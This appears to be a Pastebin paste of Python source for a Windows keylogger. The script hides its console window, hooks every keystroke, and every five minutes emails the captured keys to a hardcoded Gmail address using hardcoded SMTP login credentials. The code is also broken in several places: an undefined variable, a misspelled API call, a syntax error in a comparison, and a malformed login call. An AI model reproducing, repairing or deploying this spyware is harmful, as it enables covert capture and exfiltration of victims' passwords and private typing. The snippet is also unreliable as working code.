Advertisement
Guest User

Untitled

a guest
Nov 17th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. import pyhook
  2. import pythoncom
  3. import win32gui
  4. import win32console
  5. import threading
  6. import time
  7. import smtplib
  8.  
  9. email="samuelbrimsoee@gmail.com"
  10.  
  11. list = []
  12.  
  13. log_file = "log_file.txt"
  14. window = win32console.GetConsoleWindow()
  15. win32gui.ShowWindows(window,0)
  16.  
  17. def pressed_chars(event):
  18. if event.Ascii:
  19. f = open(log_file, "a")
  20. list.append(char)
  21. if char == "q":
  22. f.close()
  23. exit()
  24. if event.Ascii = 13:
  25. f.close()
  26. f.close()
  27.  
  28. def pump():
  29. proc = pyHook.HookManager()
  30. proc.KeyDown = pressed_chars
  31. proc.HookKeyboard()
  32. pythoncom.PumpMessages()
  33.  
  34. def send_email():
  35. while 1:
  36. time.sleep(300)
  37. server = smtplib.SMTP('smtp.gmail.com', 587)
  38. server.starttls()
  39. server.ehlo()
  40. server.login('gr3ygoat@gmail.com'.'007India')
  41. msg = ''.join(list)
  42. server.sendmail('gr3ygoat@gmail.com', email, msg)
  43.  
  44. w = threading.Thread(target=send_email)
  45. w2 = threading.Thread(target=pump)
  46.  
  47. w.start()
  48. w2.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement